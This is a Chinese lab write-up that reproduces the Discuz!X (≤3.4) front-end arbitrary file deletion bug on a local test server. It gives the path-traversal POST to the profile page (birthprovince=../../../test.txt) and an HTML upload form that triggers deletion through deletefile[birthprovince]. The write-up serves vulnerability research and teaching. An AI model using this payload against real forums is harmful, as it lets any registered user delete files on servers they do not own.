Discuz!X 社区软件,是一个采用PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。

影响版本DiscuzX <= 3.4

具体的漏洞预警,在freebuf已经发布了。

本次实现在本地搭建环境,进行复现实验。

0×00复现准备

首先准备本地服务器环境,这里我选择的是phpStudy2017(最新下载的)

Discuz!X 前台任意文件删除漏洞的复现实验

http://www.pc6.com/softview/SoftView_22804.html(目前使用3.2版本)

Discuz!X 前台任意文件删除漏洞的复现实验

下载完后会是这样

Discuz!X 前台任意文件删除漏洞的复现实验

Discuz!X 前台任意文件删除漏洞的复现实验

将upload文件夹整个复制到phpStudy2017的WWW目录下

Discuz!X 前台任意文件删除漏洞的复现实验

这里的话是把upload文件夹改名为bbs2

DiscuzX 3.2的安装请点击这里http://www.discuz.net/thread-3456887-1-1.html

0×01开始复现

使用浏览器(我使用了火狐)打开论坛,进行注册

Discuz!X 前台任意文件删除漏洞的复现实验

在本地目录里新建一个文本文件

Discuz!X 前台任意文件删除漏洞的复现实验

来到用户设置页面

Discuz!X 前台任意文件删除漏洞的复现实验

 

http://127.0.0.1/bbs2/home.php?mod=spacecp&ac=profile&op=base

POST提交 birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73

Discuz!X 前台任意文件删除漏洞的复现实验

红框圈出来的是你自己用户名的hash值,需要查看网页源代码进行替换。

点击执行

Discuz!X 前台任意文件删除漏洞的复现实验

这里修改birthprovince参数为文件站点存在的文件,这就是后面可以删除的文件。

发送包以后我们还要构造请求去执行删除的文件。请求home.php?mod=spacecp&ac=profile&op=base

POST birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73

其中 formhash 为用户hash

然后写一个执行改服务器的html表单,如下

<form action="http://127.0.0.1/bbs2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data"> <input type="file"name="birthprovince" id="file" /> <input type="text"name="formhash" value="2fce4b73"/></p> <input type="text"name="profilesubmit" value="1"/></p> <input type="submit"value="Submit" /> </from>

 0×02结果

随便上传一张图片,然后提交表单,upload目录下的test.txt文件就被删除了。

Discuz!X 前台任意文件删除漏洞的复现实验

点击Submit出现下面这个

Discuz!X 前台任意文件删除漏洞的复现实验

然后查看本地文件目录

Discuz!X 前台任意文件删除漏洞的复现实验

发现确实test.txt已经被删除。

漏洞原理参考:

http://mp.weixin.qq.com/s?srcid=0930uM1OtfeAsXwHRrfZBIyo&scene=23&mid=2650942631&sn=12a3c55807768f12fcd1b306fdf775d8&idx=1&__biz=MzAxNDY2MTQ2OQ%3D%3D&chksm=80796e95b70ee78345e289d3b1a9c262f6847b2032296ab90db54fc5b2b26771e505b17868c2&mpshare=1#rd

*本文原创作者:生如夏花